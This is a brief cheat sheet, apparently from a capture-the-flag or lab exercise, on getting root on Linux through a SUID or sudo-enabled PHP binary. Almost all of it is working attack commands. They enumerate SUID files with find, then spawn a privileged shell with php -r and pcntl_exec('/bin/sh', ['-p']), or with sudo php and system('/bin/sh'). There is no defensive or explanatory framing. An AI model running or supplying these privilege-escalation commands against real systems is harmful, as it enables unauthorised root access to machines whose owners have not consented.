/usr/bin/php7.2

/usr/bin/php7.2

find / -perm -4000 2>/dev/null

#check out the /usr/bin/php7.2

#To get root, just do:
a) export CMD="/bin/sh" 
b) /usr/bin/php7.2 -r “pcntl_exec('/bin/sh', ['-p']);”

#alternative for /usr/bin/php

CMD="/bin/sh"
sudo php -r "system('$CMD');"

#root